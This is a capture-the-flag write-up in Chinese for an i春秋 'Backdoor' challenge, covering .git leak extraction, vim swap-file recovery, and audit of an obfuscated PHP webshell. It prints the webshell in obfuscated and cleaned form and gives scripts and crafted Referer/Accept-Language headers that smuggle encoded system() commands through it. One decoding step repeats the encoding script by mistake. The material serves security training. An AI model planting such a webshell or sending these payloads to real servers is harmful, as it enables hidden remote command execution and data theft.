i春秋-Backdoor

题目


考点

git源码泄露

Linux文件恢复

代码审计

http

解题

参考wp

复制代码
https://blog.csdn.net/cbhjerry/article/details/105791056

https://www.pianshen.com/article/19461342501/

扫描

题目给出提示:敏感文件泄漏

于是使用dirsearch扫一下

复制代码
python dirsearch.py -u http://eci-2ze0l5vhl7ukjwiq791b.cloudeci1.ichunqiu.com/Challenges/

导出git文件

存在git文件,用git_extract导出文件:

复制代码
python2 git_extract.py http://eci-2ze0l5vhl7ukjwiq791b.cloudeci1.ichunqiu.com/Challenges/.git/


找到新的可疑文件

在下一步应该要访问:b4ckdo0r.php

提示看源码

考虑是否存在.b4ckdo0r.php.swp等文件,尝试后发现存在.b4ckdo0r.php.swo,把它下载下来。

还原文件

接下来还原下载下来的文件

复制代码
vi -r b4ckdo0r.php.swo

回车,打开的文件显示b4ckdo0r.php原码:

这么密密麻麻的是混淆后的代码,我们将其复制到本地,在最后一行加入echo ( L ) ; 代码是混淆的,通过 c r e a t e f u n c t i o n 将 L); 代码是混淆的,通过create_function将 L);代码是混淆的,通过createfunction将L的内容创建为函

复制代码
<?php
echo "can you find the source code of me?";
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
 echo ($L);
?>

然后本地运行

复制出来并稍做整理:

复制代码
<?php
$kh="4f7f";
$kf="28d7";

function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];

if($rr&&$ra){
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    
    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        
        for($z=1;$z<count($m[1]);$z++)
            $p.=$q[$m[2][$z]];
        
        if(strpos($p,$h)===0){
            $s[$i]="";
            $p=$ss($p,3);}
        
        if(array_key_exists($i,$s)){
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            
            if($e){
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

代码审计

接下来就是代码审计。在下载下来的代码加入一些打印语句,帮助快速理清逻辑并找出漏洞构造payload:

复制代码
<?php
$kh="4f7f";
$kf="28d7";

function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];           // 获取http头的"REFERER"
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];   // 获取http头的"ACCEPT_LANGUAGE"

if($rr&&$ra){
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);

    print_r($q);
    print_r($m);

    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));     // 675
        $f=$sl($ss(md5($i.$kf),0,3));     // a3e

        echo 'h:'.$h.PHP_EOL;   // 675
        echo 'f:'.$f.PHP_EOL;   // a3e

        $p="";
        for($z=1;$z<count($m[1]);$z++)
            $p.=$q[$m[2][$z]];    // 构造Accept-Language:zh-CN,zh;q=0.1,这样获取的$m[2][1]为1,即$q[1]为"REFERER"的第二个参数

        echo 'p:'.$p.PHP_EOL;

        if(strpos($p,$h)===0){   // 可构造"REFERER"的第二个参数前三个字符为"675",进入该流程设置$s[$i],才能通过下面的判断array_key_exists($i,$s)
            $s[$i]="";
            $p=$ss($p,3);}       // 去掉前三个字符

        print_r($s);
        echo 'i:'.$i.PHP_EOL;
        echo 'p:'.$p.PHP_EOL;

        if(array_key_exists($i,$s)){
            $s[$i].=$p;
            $e=strpos($s[$i],$f);        // 由此可推出$s[$i]
            // 必须包含有$f("a3e"),也就是此时此刻的$p必须包含"a3e",且不能出现在最前面,在最前面加任意字符,也就是"REFERER"的第二个参数为"675"开头,"a3e"结尾
            if($e){
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                // 存在eval的漏洞,用"REFERER"第二个参数675和a3e之间的字符作payload
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

构造payload

需要在http头加入Accept-Language和Referer,构造Accept-Language: zh-CN,zh;q=0.1,则Referer的值最少要两个参数,且第二个参数格式为"675"+payload+"a3e",因为程序中使用了eval,所以可以考虑使用system函数执行系统操作,但构造的载荷会经过base64_decode,异或,gzuncompress的处理,所以可以把要执行的操作经过逆处理即gzcompress,异或,base64_encode:

复制代码
<?

function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";

$cmd = 'system("ls");';

echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

复制代码
TPocyB4WLfrhNv1PZOrQMTREimJn

请求并改请求包

复制代码
http://eci-2ze0rkldt08jroya6asi.cloudeci1.ichunqiu.com/Challenges/b4ckdo0r.php

先查看一下目录文件,system("ls")处理后得到"TPocyB4WLfrhNv1PZOrQMTREimJn",把这字符串加下前缀"675",后缀"a3e",做为Referer的参数:

复制代码
Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e
Accept-Language: zh-CN,zh;q=0.1

得到响应:

复制代码
TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT

解码

把得到的字符串"TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT",因为这字符串是经过gzcompress,异或,base64_encode处理,所以可以进行base64_decode,异或,gzuncompress解密:

复制代码
<?
function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";

$cmd = 'system("ls");';

echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

重新构造payload

得到该文件列表,其中有this_i5_flag.php,查看该文件 system("cat this_i5_flag.php"):

复制代码
<?
function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";

$cmd = 'system("cat this_i5_flag.php");';

echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

复制代码
TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW

再次发送请求包并改包

复制代码
Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKWa3e
Accept-Language: zh-CN,zh;q=0.1

得到

复制代码
TPqE1x3wTNfRNH6te3Qzh2E2MLfnEWKhsnChoFuCTXFd8I1Ae3gyZb7jlgiQoe2WlfdONLidFX2Z3AJJpYV5IDQ/rHd4

再次解码

将得到的加密字符串解码

复制代码
<?php
function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";
$str = 'TPqE1x3wTNfRNH6te3Qzh2E2MLfnEWKhsnChoFuCTXFd8I1Ae3gyZb7jlgiQoe2WlfdONLidFX2Z3AJJpYV5IDQ/rHd4';
echo PHP_EOL."----------------".PHP_EOL;
echo gzuncompress(x(base64_decode($str),$k)).PHP_EOL;

得到

复制代码
<?php
$flag = 'flag{d091893f-d2f9-4b3f-bd81-a641127bd93d}';
?>

提交flag

相关推荐
大方子7 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha9 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络9 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd12 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你16 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云